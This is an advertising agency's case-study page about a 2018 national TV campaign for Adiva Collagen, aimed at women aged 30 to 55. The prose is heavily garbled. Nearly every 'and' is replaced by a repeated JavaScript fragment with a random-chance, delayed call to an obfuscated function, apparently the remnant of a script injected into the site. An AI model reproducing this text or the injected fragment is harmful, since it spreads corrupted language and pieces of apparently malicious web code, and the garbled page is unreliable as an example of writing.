ADIVA Collagen Thematic National TVC

THE CHALLENGE

Adiva Collagen is essential liquid protein that helps to improve skin health for woman in the middle-age. The benefits of Adiva is introduce to reduce wrinkles andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and dryness to provide youthful andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and healthy skin. However, the brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and image that pick the most popular andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and beautiful ladies as the
brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ambassadors did not work well with target consumers who are housewives andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and small-shop owners from 30-55.

THE STRATEGY

Together with Adiva, April proposed the new approach that has changed the brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and image. The “Bottom-up” TVC campaign 2018 took advantage
of the consumers’ insights through personal outlook andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and family bonding to get closer to them with simple message. This message is widely welcomed by woman from the South, that helped to increase brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and awareness andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and trials.

  • Client

    ADIVA Collagen

  • Date

    2018

  • Kind

    Branding